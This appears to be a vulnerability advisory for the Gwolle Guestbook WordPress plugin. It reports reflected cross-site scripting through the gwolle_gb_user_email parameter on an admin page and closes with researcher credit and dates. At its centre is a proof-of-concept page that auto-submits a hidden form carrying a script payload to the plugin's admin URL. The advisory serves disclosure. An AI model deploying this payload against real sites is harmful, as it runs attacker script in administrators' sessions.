The plugin does not sanitise and escape the gwolle_gb_user_email parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue in an admin page
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=gwolle-gb%2Fentries.php" id="hack" method="POST">
<input type="hidden" name="gwolle_gb_user_email" value='"><script>alert(/XSS/);</script>' />
<input type="hidden" name="show" value="user" />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
var form1 = document.getElementById('hack');
form1.submit();
</script>
</html> ZhongFu Su(JrXnm) of Wuhan University
ZhongFu Su(JrXnm) of Wuhan University
Yes
2021-11-23 (about 1 years ago)
2021-11-23 (about 1 years ago)
2022-09-26 (about 7 months ago)